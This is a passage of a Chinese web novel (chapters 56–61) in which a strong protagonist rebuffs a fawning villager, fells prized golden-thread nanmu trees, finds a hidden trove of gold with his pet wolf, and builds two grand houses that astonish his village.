他抱着怀里的白梦秋,又伸手揽过一旁的白梦夏,低头在姐妹俩光洁的额头上,各印下了一个温柔的吻。
小院里,构成了一副让神仙都为之嫉妒的画卷。
第56章 自取其辱
院子里,一家三口的温馨甜蜜还没持续多久,就被一道谄媚的声音打破了。
“江夜兄弟!哎呀,江夜哥!您在家吗?”
声音从院门口传来,带着一股子刻意的热情和谄媚,让人听了浑身起鸡皮疙瘩。
江夜脸上的宠溺笑意未变,只是那双深邃的眼眸中,飞快地掠过一丝冰冷的讥诮。
话音未落,王大庆的身影就出现在了院门口。
他今天特意换了件半新不旧的短褂,脸上堆满了笑容,手里还倒提着两只瘦得皮包骨的老母鸡,那两只鸡被抓着脚,有气无力地扑腾着翅膀,显得格外可怜。
当王大庆踏入院子的那一刻,他整个人呼吸停滞了,那双本就不大的眼睛,此刻瞪得溜圆。
他看到了什么?
院子中央,阳光之下,两个身披雪白披风的女子,美得不像凡人。
那披风,白得耀眼,仿佛是昆仑山巅万年不化的积雪,边缘的金线在阳光下闪烁着奢华的光芒,领口温润的玉扣更是点睛之笔,透着一股无法言说的贵气。
而被她们簇拥在中间的,正是江夜。
他脑子一片空白,嫉妒、羡慕、贪婪……无数种情绪像是毒蛇一般,疯狂地啃噬着他的心脏。
他想起了自己家那间破屋,想起了母亲的唠叨和算计,再看看眼前这神仙眷侣般的景象,一种巨大的不甘和**感,让他几乎要发狂。
但他不能退。
他想起了母亲昨夜咬牙切齿的叮嘱,想起了那能让人脱胎换骨的虎肉,想起了那二十两的拜师费……
尊严算个屁!
王大庆深吸一口气,强行压下心头的酸涩,脸上再次挤出那副谄媚到骨子里的笑容,快步走了上去。
“哎呀!江夜哥!我的亲哥!”他一开口,就把称呼又拉近了一层,“我……我昨天回去想了一宿,翻来覆去睡不着!脑子里全都是您那箭射妖虎的英姿!那哪是凡人啊,那分明就是二郎神下凡,武曲星转世!”
他一边说,一边手舞足蹈,唾沫横飞,那股子狂热劲儿,仿佛江夜真是他亲爹。
江夜连眼皮都懒得抬一下。
他的注意力全在怀里的美人身上,伸出手,温柔地为白梦夏理了理被风吹乱的披风领口,动作专注而又轻柔。
王大庆的热情扑了个空,脸上闪过一丝尴尬,但他脸皮够厚,立刻将目标转向了姐妹俩。
“还有两位嫂嫂!”
“这……这莫非就是画本里说的九天玄女?我活了十七年,从没见过这么好看的人,这么华贵的衣裳!也只有两位嫂嫂这般天仙化人,才配得上!也只有江夜哥这般盖世无双的英雄,才能拥有两位仙女嫂嫂!绝配!真是天造地设,羡煞旁人啊!”
这一通马屁,拍得行云流水,毫无停顿。
他小心翼翼地将那两只瘦鸡放在离江夜脚边不远的地方,然后搓着手,终于说到了正题。
“那个……江夜哥,”
“您看……您这又是盖新房,又是要做惊天动地的大事,身边肯定缺个跑腿打杂的吧?我……我别的不行,就是有把子力气!什么脏活累活我都能干,绝不喊一声苦!我也不求工钱,就求能跟在您身边,学点真本事,长长见识,以后也能有点出息……”
他说完,整个院子都安静了下来。
王大庆屏住呼吸,心跳如鼓,紧张地等待着江夜的回答。
他甚至已经想好了,只要江夜点头,他立马跪下磕头。
然而,江夜仿佛是个聋子。
他依旧没有看王大庆一眼,而是低头,轻轻捏了捏白梦夏的手,柔声问道:“手怎么这么凉?披着披风还冷?”
白梦夏摇摇头,一双美眸里全是他的倒影,声音软糯:“不冷,夫君,是心里欢喜。”
“我才不冷呢!”
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怀里的白梦秋不甘示弱,直接将两条小腿盘得更紧了,像只树袋熊一样挂在江夜身上,撒娇道,“夫君抱着我,比十件披风都暖和!”
“小滑头。”江夜被她逗笑,宠溺地刮了下她的小鼻子,又转头对白梦夏说,“等会儿再给你做点虎骨汤喝,好好补补身子。”
“嗯。”白梦夏乖巧地点头,满心甜蜜。
他们三个人,自成一个世界。
在这个世界里,王大庆,连同他脚边那两只可怜的鸡,都像是一粒微不足道的尘埃,透明,且毫无意义。
王大庆脸上的笑容,一寸一寸地僵硬,然后龟裂,最后彻底垮掉。
他站在那里,手还保持着搓动的姿势,整个人像一尊尴尬的石像。
周围的空气仿佛凝固了,每一丝风,都像是一记无声的耳光,狠狠地抽在他的脸上。
他感觉自己的脸颊在发烫,火辣辣的。
为什么?
他想不通!
他已经放下了所有的尊严,像条狗一样摇着尾巴凑上来了,为什么连一个眼神都换不来?
难道自己在他眼里,真的连个屁都不如吗?
巨大的羞辱感让他几乎要窒息。
他想怒吼,想质问,但看着江夜那副云淡风轻的模样,他却连一个字都说不出口。
他还在泥潭里为了几文钱、一口肉打滚,而人家,早已站在云端之上。
云端上的人,又怎么会看地上的蝼蚁一眼?
这个认知,比任何恶毒的咒骂都让他绝望。
他再也待不下去了。
在这里多待一秒,都是一场酷刑。
王大庆的脸由红转青,再由青转白,最后,他几乎是落荒而逃。
直到那仓皇的脚步声彻底消失在院外,江夜才像是终于察觉到了什么,眼角的余光,淡淡地瞥了一眼地上那两只还在扑腾的瘦鸡,嘴角勾起一抹微不可查的冷笑。
第57章 进山寻木
几天后,江家兄弟两处新房的地基,以一种不可思议的速度彻底完工。
那地基挖得又深又宽,用料扎实,青石垒砌的底座严丝合缝,坚固得仿佛能扛住山崩。
参与干活的村民们每天看着这工程,心里都暗自咂舌,这房子别说住个几十年,就是传给孙子的孙子,怕是都塌不了。
江夜吃过早饭,看着眼前两片平整坚固的地基,满意地点了点头。万丈高楼平地起,根基最是重要。
他对正在收拾碗筷的白梦夏和白梦秋宣布:“今天我得亲自进趟山,去找几根最好的木头,用来做新房的主梁。”
姐妹俩闻言,动作都是一顿。
虽然如今的江夜在她们心中已是无所不能的神人,但深山的危险是刻在骨子里的记忆。
“夫君,山里危险,你带上王囤大哥他们一起去不成吗?”白梦夏放下碗,走到江夜身边,柔声劝道,美眸里是化不开的担忧。
江夜笑着摇摇头,伸手将她揽进怀里,又顺势拉过一旁的白梦秋,让两个妻子一左一右靠着自己。
“我要去的是深山,带上王囤大哥他们反而不便,放心,如今这山里,能伤到我的东西,还没生出来呢。给咱们家盖房子,主梁必须用最好的,我亲自去挑才放心。”
他语气平淡,却带着一股不容置疑的自信,姐妹俩看着他,心里的担忧不知不觉就散了,只剩下满满的信赖和甜蜜。
江夜带上那把削铁如泥的开山斧,别在腰间,又检查了一下弓箭,准备出发。
就在这时,一直趴在院角打盹的团子,耳朵一动,猛地从地上一跃而起。
它看到江夜一身进山的打扮,瞬间兴奋起来,银色的身影化作一道闪电,绕着江夜的腿疯狂打转。
“呜呜……嗷呜!”
小家伙一边跑,一边用脑袋去蹭江夜的裤腿,见他不理,干脆张开嘴,轻轻咬住他的裤脚,喉咙里发出焦急又带着撒娇意味的呜咽声,一双水汪汪的眼睛可怜巴巴地望着他,尾巴摇得像个小风车。
那意思再明白不过:主人,带我!带我一起去!
江夜被它这副模样逗笑了,弯腰揉了揉它那颗毛茸茸的脑袋。
“你个小东西,也想去?”
“嗷呜!”团子重重地点头,生怕江夜反悔似的,咬得更紧了。
“行,那就跟着吧。”
得到允许,团子瞬间松口,兴奋地在院子里连打了好几个滚,然后一溜烟跑到门口,回头冲着江夜“汪汪”叫了两声,催促他快点。
江夜失笑摇头,跟两个依依不舍的妻子告别后,一人一狼,大步流星地向着后山走去。
进了山林,团子就像是回到了自己的王国,彻底撒了欢。
它矫健的身影在林间穿梭,一会儿窜上树干去追逐一只五彩斑斓的蝴蝶,一会儿又低下头,用两只前爪飞快地刨着某个树根,仿佛底下藏着什么绝世珍宝。
跑出一段距离,它又会飞快地跑回来,嘴里叼着一朵不知从哪儿摘来的,还带着露珠的野花,屁颠屁颠地跑到江夜面前,将花放在他的脚边,然后仰起头,尾巴摇得更欢了,满脸都是“快夸我”的表情。
江夜看着它这副活宝样,心情也愈发舒畅。
但他没有忘记自己进山的目的。
凭借着远超常人的感知力,他一路向着山林腹地深入。
沿途遇到的那些寻常村民眼中的上好木材,比如松木、榆木,他连看都懒得看一眼。
一人一狼越走越深,周围的树木愈发高大,林间的光线也变得昏暗起来,空气中弥漫着一股原始而潮湿的草木气息。
突然,正在前方探路的团子停下了脚步,对着某个方向,发出了低吼声,示意江夜。
江夜眼神一凛,顺着团子的方向望去。
只见前方百米开外,一片阳光恰好穿透浓密的树冠,形成一道巨大的光柱,照亮了那片区域。
在光柱之中,赫然矗立着几棵与周围林木截然不同的参天古树。
那几棵树高耸入云,树干笔直,树皮呈现出一种奇异的深褐色,表面光滑,仿佛有油脂沁出。
最令人心惊的是,在阳光的照射下,那深褐色的树干之中,竟仿佛有无数条金色的丝线在缓缓流动,折射出一种低调而又华贵的光芒。
一股淡雅而又奇特的幽香,顺着风,丝丝缕缕地飘入江夜的鼻腔,让他精神为之一振。
江夜的呼吸,在这一刻猛地一滞。
他的瞳孔骤然收缩,死死地盯着那几棵沐浴在阳光下的古树,心脏不受控制地狂跳起来。
金丝楠木!
竟然是传说中的帝王之木,金丝楠木!
他心中掀起了滔天巨浪,一阵狂喜瞬间席卷了全身。
在前世,这可是价比黄金,专供皇家使用的顶级木料!用它做的家具,千年不腐,万年不朽,自带异香,还能驱虫避蚁。寻常人别说用,就是见上一面都难如登天。
没想到,在这深山老林里,竟然藏着这么一片野生的金丝楠木林!
发了!这次是真的发大财了!
用这金丝楠木做主梁,再用剩下的木料打一套家具……江夜几
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乎已经能想象到,当那座融合了现代设计和顶级用料的新房落成时,会是何等的惊世骇俗。
他强行压下心中的激动,迈步向那片金丝楠木林走去。
江夜绕着其中一棵最粗壮的金丝楠木走了一圈,仔细观察着。这棵树至少需要两人合抱,树龄怕是已经有数百年了。
就在他仰头估算树高时,目光忽然一凝。
在离地约莫十几米高的一个粗壮分叉上,他发现了一个巨大的鸟窝。
那鸟窝完全由坚韧的枯枝和不知名的藤蔓搭成,直径怕是有一米多,看起来极为牢固。
江夜眼神一动,将开山斧放在树下。
他后退几步,一个助跑,双腿猛地发力,轻松跃起数米高,双手在粗糙的树干上一搭一借,整个人便如同一只灵巧的猿猴,顺着笔直的树干飞速向上攀爬。
不过几个呼吸的功夫,他便已经来到了那个巨大的鸟窝旁。
他小心翼翼地探头向里望去,只见柔软的干草和羽毛铺就的窝底,静静地躺着三颗硕大的鸟蛋。
那鸟蛋比寻常的鹅蛋还要大上一圈,蛋壳呈淡青色,上面布满了不规则的深褐色斑点,看起来颇为不凡。
江夜从随身的包裹里拿出几件柔软的旧衣物,将三颗鸟蛋一颗颗仔细包好,再小心地到一边。
做完这一切,他才重新将目光投向眼前这片价值连城的金丝楠木林。
江夜走到那棵被他选中的,需要两人合抱的古树前,眼神变得无比锐利。
他从腰间抽出那把寒光闪闪的开山斧,在手中掂了掂。
下一刻,他双腿微微岔开,腰身一沉,气走丹田。
一股远超常人的磅礴巨力,瞬间从他身体深处涌出,灌注到四肢百骸。
他能清晰地感觉到,每一块肌肉都充满了**性的力量。
“喝!”
江夜低喝一声,手臂肌肉猛然贲张,手中的开山斧划带着撕裂空气的尖啸,狠狠地劈在了那坚硬无比的树干之上!
“铛!”
一声如同金铁交击的巨响,在寂静的山林中炸开。
火星四溅!
那足以抵挡寻常刀斧的坚硬树皮,在江夜这灌注了神力的一斧之下,竟被硬生生劈开了一道半尺多深的口子。
木屑纷飞,一股更加浓郁、更加沁人心脾的奇异幽香,瞬间从豁口处弥漫开来。
一斧得手,江夜毫不停歇。
他双臂抡起,斧光闪烁,化作一片令人眼花缭乱的残影。
“铛!铛!铛!铛!”
密集的砍击声,在山谷中回荡不休。
第58章 快夸我
密集的砍击声,在山谷中回荡不休,惊起飞鸟无数。
就在江夜专心致志地与这片金丝楠木较劲时,一直在他脚边打转的团子,忽然停下了动作。
它的小鼻子在空气中用力地嗅了嗅,那双灵动的眼睛里闪过一丝奇异的光芒。仿佛有什么东西,比眼前这些香喷喷的大木头,更能吸引它的注意。
小家伙歪着脑袋,抖了抖耳朵,确认了方向后,它悄悄地瞥了一眼正砍得兴起的江夜,银色的身影一闪,便悄无声息地钻进了旁边那片更加茂密的丛林深处,很快便不见了踪影。
“轰——”
伴随着一声惊天动地的巨响,最后一棵需要两人合抱的巨大金丝楠木,轰然倒塌,激起漫天烟尘。
江夜拄着斧子,长长地呼出一口浊气。他看着那几根静静躺在地上的金丝楠木,脸上露出了满意的笑容。
这几根主梁,足以让那两座新房屹立百年不倒。
他走到一截树干上坐下,从怀里掏出水囊,仰头灌了几口。
“团子,干得不错,回去给你加餐!”
江夜随口喊了一句,却没听到小家伙兴奋的回应。
他这才发现,那只黏人的小跟屁虫,不知何时已经不见了。
江夜眉头微皱,正要起身寻找,就听见不远处的密林中传来一阵“悉悉索索”的声响,紧接着,一道银色的闪电飞奔而出。
正是团子。
小家伙跑得极快,四爪翻飞,嘴里还死死地叼着一个沾满了泥土的东西。
它一路冲到江夜面前,喉咙里发出“呜呜”的兴奋声,昂着头,那双水汪汪的眼睛里写满了骄傲和期待。
“哐当!”
一声不同于石块落地的金属撞击声响起,团子嘴里的东西掉在了江夜的脚边。
江夜原本没太在意,以为是小家伙又从哪里刨了块奇形怪状的石头回来,低头随意地扫了一眼。
就是这一眼,让他的呼吸瞬间停滞。
那是一个沾满了黑泥的疙瘩,但就在那黑泥的缝隙中,一抹刺眼的金光,毫无征兆地撞入了他的眼帘。
江夜弯腰捡起了那个黑疙瘩,入手极沉,质感冰冷,绝对不是石头。
江夜飞快地擦掉表面的泥土。
随着泥土簌簌落下,一抹灿烂夺目的金色,彻底暴露在阳光之下。
元宝!
一个足有成年人拳头大小,边缘还带着牙印的狗头金元宝!
真的金子!
他震惊地抬起头看向团子。
小家伙完全没意识到自己给主人带来了多大的冲击,它看到江夜的目光,还以为是在表扬自己,尾巴摇得更欢了,脑袋高高地昂起,胸脯挺得老高,满脸都写着四个大字——“快!夸!我!啊!”
那骄傲的小模样,仿佛在说:“看,我厉害吧!我可不是只会卖萌献花的小废物!”
“哈哈……哈哈哈哈!”
看着团子傲娇的小模样江夜再也绷不住,猛地爆发出一阵畅快淋漓的大笑。
“好样的!团子!你真是个天才!”
江夜狂喜之下,一把将团子抱进怀里,用自己的脸颊在它那毛茸茸的脑袋上一顿猛蹭。
“团子!你真是我的福星!想要什么?回去给你炖一整只野鸡!不,两只!让你吃肉吃到吐!”
团子被他夸得晕乎乎的,舒服地眯起了眼睛,喉咙里发出满足的呼噜声,小爪子还在江夜的衣服上轻轻踩奶,显然对这个奖励非常满意。
亲了好一阵,江夜才强行压下激动,举起手中的金元宝,又指了指团子刚才跑出来的方向,用一种充满诱惑的语气问道:“好团子,告诉我,这宝贝……你是从哪儿弄来的?”
团子何等聪慧,瞬间就心领神会。
它从江夜怀里跳下,对着那个方向“嗷呜”叫了两声,随即转过身,迈开四条小短腿,一溜烟地就往密林深处跑去。跑出几步,它还特意停下来,回头看了看江夜,催促他跟上。
江夜将那颗硕大的金元宝小心翼翼地揣进怀里,大步流星地跟了上去。
一人一狼在丛林中穿行,团子七拐八绕,带着江夜穿过一片满是倒刺的荆棘丛。
最终,在一处几乎被垂落的藤蔓和苔藓完全覆盖的崖壁前停了下来。
若不是它领路,就算从这里路过一百次,也绝不会发现这藤蔓之后,别有洞天。
江夜拨开厚厚的藤蔓,一个黑漆漆的山洞口显露出来。
洞口吹出的风带
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着一股阴冷和腐朽的气息,显然已经荒废了许久。
他没有丝毫犹豫,俯身钻了进去。
洞内光线昏暗,地面上积了厚厚的一层灰尘,角落里结满了蛛网。
江夜的目光很快锁定在山洞最深处的角落。
那里,静静地放着一个木箱。
箱子不知是什么木料所制,在潮湿的环境中已经腐朽得不成样子,箱体上布满了裂纹,仿佛轻轻一碰就会散架。
江夜的心跳,莫名地快了几分。
他走上前,没有费力去撬那同样锈蚀的铜锁,而是抬起腿踹在了箱子的正面!
“嘭!”
一声闷响!
腐朽的木箱应声而裂,整个箱盖直接被踹得四分五裂,!
下一秒,一道璀璨夺目的金光,猛地从破碎的箱体中爆射而出!
江夜整个人都僵在了原地,呼吸彻底停滞。
只见那破碎的箱子里,满满当当,全是金子!
黄澄澄的金条、大小不一的金元宝、还有码放得整整齐齐的银锭,在金子的缝隙中,还散落着不少龙眼大小的夜明珠,以及色泽温润的玉器、璀璨夺目的宝石……
江夜的呼吸变得无比急促。
“发了……”
他喉结滚动,艰难地吐出两个字。
随即,一股难以抑制的狂喜,从他心底最深处喷涌而出,席卷了全身!
有了这些钱,什么大瓦房,什么锦衣玉食,全都唾手可得!
他可以给白梦夏和白梦秋买最好的东西!
一旁的团子,看到主人如此高兴,也跟着兴奋起来。
它绕着江夜的脚边,疯狂地转着圈,那条银色的尾巴摇得像个风火轮,喉咙里发出“嗷呜嗷呜”的欢快叫声,仿佛也在为这次巨大的收获而庆祝。
江夜狂笑了一阵,才慢慢平复下心情。
他没有再耽搁,立刻脱下自己的外衣,将箱子里的金银珠宝一股脑地往里装。
金条、元宝、银锭、珍珠、宝石……
很快,一件外衣就被塞得满满当当。
江夜随手将其打了个结,扔进了箩筐里。
他背上那个沉重无比的包裹,脸上再次露出了灿烂的笑容。
“团子,走,准备回家!”
第59章 金丝楠木
山林间,一人一狼,满载而归。
江夜将几根巨大的金丝楠木用坚韧的藤条捆在一起,那重量,怕是足有上千斤。若是寻常人,别说扛走,就是几十个壮汉用滚木撬杠,想挪动都得费九牛二虎之力。
但对如今的江夜来说,这并不算什么。
他走到木捆中间,弯腰,沉肩。
“起!”
一声低喝。
上千重的金丝楠木,被他硬生生从地上扛了起来,稳稳地架在了一侧的肩膀上。他脚下的地面,都因为这恐怖的重量而微微下陷。
江夜的身体只是晃了一下,便站得笔直,仿佛肩上扛着的不是万斤巨木,而是一捆轻飘飘的麦秆。
他一手扶着木捆,另一只手轻松地拎起那个装满了金银珠宝的箩筐,迈开脚步,向山下走去。
“嗷呜!”
团子兴奋地叫了一声,摇着尾巴,颠颠地跟在他身边,一人一狼,就这么走出了这片沉寂的山林。
稻花村,江家兄弟的新房工地上,一片热火朝天。
村民们干劲十足,脸上都洋溢着笑容。
每天十文钱的工钱,还管两顿有肉的饱饭,这种好事,祖祖辈辈都没遇见过。
大伙儿干活都格外卖力,生怕自己偷懒**夜看到,丢了这份天大的美差。
江峰也在工地上忙碌着,他虽然不拿工钱,但这是给自己盖房,更是干得起劲。
他一边搬着石头,一边看着已经打好的地基,心里头又是高兴,又是感慨。
自己的这个弟弟,是真的出息了,成了全村人的主心骨。
就在这时,工地上鼎沸的人声忽然像是被一把无形的剪刀剪断了。
“叮叮当当”的敲砸声戛然而止。
所有人都停下了手里的活计,一个个瞪大了眼睛,傻了一样地望着村口的方向。
江峰察觉到异样,也疑惑地抬起头,顺着众人的目光看去。
下一秒,他手里的那块几十斤重的青石,“哐当”一声掉在地上,他却浑然不觉。
只见村口的小路上,江夜正缓步走来。
他的肩膀上,扛着一捆由好几根巨大树木捆成的小山,那每一根木头,都比村里最壮的汉子腰还粗。随着他的走动,那恐怖的重量压得地面都在轻颤。
而他的另一只手里,还像拎着一个鼓鼓囊囊的大箩筐。
他走得不快,却异常沉稳,气不喘,脸不红。
整个工地,死一般的寂静。
村民们的世界观,在这一刻被彻底颠覆,然后轰然崩塌。
这是人能拥有的力量吗?
这分明是话本里移山填海的山神!
所有人都呆立当场,脑子里一片空白,只剩下那个扛着小山般巨木的身影,在他们瞳孔中越放越大。
江夜无视了所有呆滞的目光,径直走到工地中央,肩膀一卸。
“轰隆!”
一声巨响,地面都为之震颤。那捆金丝楠木重重地落在空地上,激起一片烟尘。
直到这时,呆滞的村民们才仿佛被惊醒,集体倒吸了一口凉气,人群中发出一阵压抑不住的惊呼和骚动。
江夜放下箩筐,拍了拍手上的灰尘,神情自若。
工地上,一个年过六旬的老木匠,是江夜特意从隔壁村请来的王师傅。
他此刻正浑身颤抖地盯着那几根巨木,像是看到了什么最不可思议的东西。
他丢掉手里的工具,步履蹒跚地扑了过去。
周围的村民下意识地给他让开一条路。
王师傅冲到木捆前,伸出那双布满老茧的手,颤颤巍巍地抚摸着那深褐色、光滑如玉的树皮。
他俯下身,将脸贴在斧子劈开的豁口上,用力地嗅着那股奇异的幽香。
下一刻,这位在木料堆里打了一辈子滚的老人,猛地睁开双眼,浑浊的老眼中爆发出前所未有的精光。
“金……金丝楠木……”
王师傅的声音嘶哑,他像是怕自己看错,又用指甲在木头上使劲抠了抠,看着那在阳光下流淌的金色丝线,他再也控制不住自己的情绪。
“是金丝楠木!老天爷啊!真的是传说中的金丝楠木啊!”
“我王老三跟木头打了一辈子交道,做梦都想摸一摸这帝王之木,没想到……没想到这辈子真能见到活的!死也值了!死也值了啊!”
“金丝楠木”这四个字,像是一道天雷,在所有村民的脑海中轰然炸响。
整个稻花村,瞬间哗然!
如果说,江夜那非人的神力只是让他们的世界观崩塌,那么“金丝桑木”的出现,就是将他们崩塌的世界观又碾成了齑粉!
那是什么东西?
那是传说中,只有皇帝老儿才有资格用的神木啊!价比黄金,万年不腐!
用这东西盖房子?
疯了!这简直比用金子盖房还要奢侈!
所有人的目光
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,再次聚焦在江夜身上。
那眼神,已经彻底变了。
不再是简单的震惊和敬畏。
那是一种……在看活神仙的眼神。
打死山中异虎,是武曲星下凡。
如今,随手就从山里扛回了传说中的帝王神木……这不是神仙,又是什么?
人群中,再也没有人敢大声喧哗,所有人都下意识地屏住了呼吸,看着江夜的眼神充满了狂热的崇拜。
江夜看着状若疯癫的王师傅,又扫了一眼周围村民那狂热崇拜的眼神,眉头微不可查地皱了一下。
他走到王师傅身边,将他扶了起来。
“王师傅,别激动,不就是几根木头吗?”
他语气平淡,仿佛在说几根不值钱的烂木头。
可这话听在众人耳朵里,却不亚于又一道惊雷。
不就是几根木头?
我的老天爷!这可是金丝楠木啊!
王师傅**夜扶起,依旧激动得语无伦次:“江……江夜小哥……这……这可是神木啊!您……您这是要……”
“哦,”江夜随口道,“我看这木头还算结实,就砍了几根回来,准备给我和大哥的新房做主梁。”
“什么?!”
王师傅眼珠子差点瞪出来,他指着那几根金丝楠木,又指了指那两片地基,嘴唇哆嗦着,一句话也说不出来。
用金丝楠木做……做主梁?
暴殄天物!这是何等的暴殄天物啊!
可转念一想,也只有眼前这位神仙般的人物,才有这般手笔,这般魄力!
工地上,所有村民都彻底麻木了。
他们感觉自己的脑子已经不够用了,今天发生的一切,已经完全超出了他们这辈子最疯狂的想象。
江夜不再理会众人,他转身对还处在呆滞中的江峰说道:“哥,把箩筐里的东西拿回屋里放好,小心点,别碰坏了那几个蛋。”
“哦……哦,好。”
江峰如同木偶般,机械地点点头,他弯腰去拎那个箩筐,入手却是一沉,险些没拎动。
他心中骇然,却没有多问,使出全身的力气,才勉强将箩筐抱起,踉踉跄跄地往院里走去。
江夜则拍了拍王师傅的肩膀,淡淡地说道:“王师傅,这两天就辛苦你,先把这几根主梁的尺寸开出来。”
说完,他便背着手,悠然地走回了自家院子,留下整个工地,一群如同石化了般的村民。
第60章 这日子,太美了
接下来的日子,江家工地上,成了十里八乡最热闹的奇景。
江夜亲自监工。他只偶尔开口,但吐出的每一个字,都让王师傅和手底下那帮老木匠惊为天人。
“王师傅,这根主梁和次梁的连接,不用铁钉,开个燕尾榫。”
“啥?燕尾榫?”王师傅和一众工匠面面相觑,听都没听过。
江夜也不多言,随手拿起一根木条和炭笔,三两下就在地上画出了一个精妙绝伦的结构图。
王师傅凑过去一看,整个人呆立当场。那图纸上的卯榫结构,环环相扣,彼此借力,精妙得如同鬼斧神工!他当了一辈子木匠,从未想过木头之间还能这么连接!
“神……神技啊!”王师傅嘴唇哆嗦着,看着江夜的眼神,已经不是在看一个东家,而是在看木匠行的祖师爷。
在江夜的指挥下,各种村民闻所未闻的建造方法层出不穷。
不用一根铁钉,仅靠木头本身的卯榫结构,就将整个房屋的骨架搭得稳如泰山。那地基之上,两座精美绝伦的二层小楼,以一种肉眼可见的速度拔地而起,雏形已现。
青砖黛瓦,飞檐翘角,窗格的设计更是前所未见,既通透又雅致。这哪里是在盖农家院,分明是在造仙宫!
消息传开,附近村镇的人们,每天都有成群结队的跑来看热闹。
工地的外围,黑压压的全是人头,一个个伸长了脖子,对着那两座日渐成型的“仙宫”指指点点,满脸都是震撼和不可思议。
每天临近中午,白梦夏和白梦秋姐妹俩,都会提着一个食盒,并肩而来。
怀孕让她们的身段褪去了少女的青涩,愈发显得丰腴饱满。
白梦夏穿着一身宽松的素色长裙,也难掩那傲人的曲线,走动间,一股温柔沉静的母性光辉自然流淌,让她那张本就绝美的脸庞,更添了几分圣洁的韵味。
白梦秋则活泼一些,虽然同样有孕在身,但步履依旧轻快。她脸上总是带着甜甜的笑,曾经的娇俏可爱,如今多了一丝为人妇的妩媚,一颦一笑,都美得惊心动魄。
她们的出现,总能让嘈杂的工地瞬间安静几分。无数道或惊艳、或羡慕、或嫉妒的目光,都聚焦在她们身上。
但姐妹俩的眼中,却只有那一个站在工地中央,指挥若定的身影。
她们穿过人群,径直走到江夜身边。
“夫君,歇会儿吧,该用饭了。”白梦夏的声音温柔得能掐出水来,她拿出干净的汗巾,踮起脚尖,仔细地为江夜擦去额角的汗珠。
白梦秋则打开水囊,送到江夜嘴边,仰着小脸,一双水汪汪的大眼睛里满是崇拜和爱意:“夫君,喝水。”
江夜享受着妻子们的温柔伺候,心中舒爽到了极点。
他接过水囊,仰头灌了几口,然后一手一个,揽住两个妻子的纤腰,感受着她们身上传来的温软和安心。
这日子,太美了。
不远处,工人们正蹲在地上,端着大碗狼吞虎咽。
碗里是堆成小山的红烧肉和白米饭,香得人舌头都快吞下去了。
可此时,他们却觉得嘴里的肉都不那么香了。
所有人都偷偷地用眼角余光,瞟着那神仙眷侣般的一家三口,眼睛都快红了。
“老天爷啊,同样是男人,差距咋就这么大呢?”一个年轻的工人一边往嘴里扒饭,一边含糊不清地嘟囔着,“人家江夜兄弟,本事通天,盖的是神仙住的房子,娶的是天上下凡的仙女……”
旁边一个年纪大点
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的拍了他后脑勺一下,压低声音道:“小声点!你懂个屁!江夜兄弟那是活神仙下凡!神仙配仙女,天经地义!咱们能跟着神仙干活,顿顿有肉吃,那是祖坟冒青烟了,知足吧你!”
话是这么说,可他看着江夜左拥右抱的模样,还是忍不住狠狠地咬了一口肥肉,仿佛在嚼自己的嫉妒心。
江夜听着周围若有若无的议论,看着村民们那又敬又畏又羡慕的眼神,嘴角的笑意更浓了。
他要的,就是这种感觉。
让所有人都知道,他的女人,他护着,他宠着,谁也别想再欺负半分!
……
一月后,稻花村。
时间仿佛被这两座拔地而起的“仙宫”分成了两个纪元。
一个月前,这里是连狗都嫌弃的穷苦村落土坯茅草房。
一个月后,两座气派非凡的青砖琉璃瓦二层小楼,如天外神宫,降临在这片土地上。
飞檐翘角,凌空欲飞,檐角下悬挂着精致的铜铃,风一吹,便发出清脆悦耳的叮当声,仿佛仙乐。
墙体是上好的青砖,严丝合缝,在阳光下泛着沉稳的色泽。
屋顶铺着一层宝蓝色的琉璃瓦,光华流转,远远望去,像是两块巨大的蓝宝石镶嵌在村子中央,刺得人睁不开眼。
窗户不再是糊着薄纸的破洞,而是用金丝楠木雕刻出的精美窗格,上面镶嵌着一种不知名的、如水晶般透明的“琉璃”,既能挡风,又能让屋外的阳光毫无阻碍地洒入。
两座小楼格局相似,中间由一条带顶的长廊连接,院墙高耸,将两家人的私密空间圈了起来。
院门是厚重的实木所制,上面镶着铜钉,门口还蹲着两只不知从哪弄来的石狮子,威风凛凛,不怒自威。
第61章 乔迁之喜
从江夜开始伐木建房的那天起,稻花村的村民们就得了一种“病”。
一种每天不去江家工地上看一眼,就浑身难受的“病”。
一开始,当他们看到江夜扛回小山般的金丝楠木,所有人都被吓傻了,觉得江夜肯定是山神下凡,不然哪有这般神力?
后来,当江夜拿出那鬼斧神工般的卯榫图纸,指挥着工匠们不用一根铁钉就搭起稳如泰山的房梁时,所有人都跪了,觉得这已经不是山神了,这分明是天上的鲁班先师下凡。
再后来,当那宝蓝色的琉璃瓦、水晶般的窗户、一车车精美的家具运进村子时,村民们已经彻底麻木了。
震撼?
已经震麻了。
惊骇?
已经骇傻了。
如今,围观江家的新房,已经成了稻花村乃至附近十里八乡所有村民的日常。
每天天不亮,江家院墙外就黑压压地围满了人,伸长了脖子,踮着脚,像一群朝圣的信徒。
“啧啧,你们看那屋顶,在太阳底下闪金光呢!我活了六十年,头一回知道瓦片还能长这样。”一个老汉揣着手,吧嗒着旱烟,语气里已经没了最初的震惊,只剩下一种看破红尘的淡然。
旁边一个汉子接口道:“何止是瓦片,你瞅瞅那窗户,亮堂得跟没有似的!听王木匠说,那叫啥……琉璃!冬暖夏凉,比县太爷府上的都好!”
“要我说,最神的还是江夜兄弟本人,”一个年轻后生满眼狂**说道,“你们是没看见,前天装那大门,上千斤的门板,江夜兄弟一个人,一手一个,跟拎鸡崽子似的就给安上去了!当时我就在旁边,我腿都吓软了!”
人群中,王翠花躲在一个角落里,死死地盯着那两座比县城里最阔气的宅子还要气派的楼房,嫉妒得眼珠子都快滴出血来。
她想破口大骂,想诅咒江夜盖的房子塌方,可话到嘴边,却一个字都说不出来。
在一个能随手搬山的“活神仙”面前,任何诅咒都显得那么苍白无力,更像是一个笑话。
他们现在看着江夜,就像蝼蚁仰望苍天,除了恐惧,再也生不出半点反抗的念头。
黄道吉日,宜乔迁。
这一天,十里八乡的村民,都像是赶集一样,乌泱泱地涌到了江家新宅的外面。
人山人海,将路堵得水泄不通。
所有人都伸长了脖子,踮着脚,目光狂**望着那两座如同天宫般降临在村子里的宅院。
这阵仗,别说村里,就是县太爷的府邸,怕是都比不上!
人群的最前方,江峰和王慧慧并肩站着,站在属于他们自己的那座新房前。
夫妻俩的表情,如出一辙的呆滞。
王慧慧的目光从那厚重的实木大门,到那光滑的青砖墙壁,再到二楼那镶嵌着水晶般“琉璃”的窗户,整个人像是被抽走了魂魄。
这……这是我家?
她做梦都不敢做这么离谱的梦。
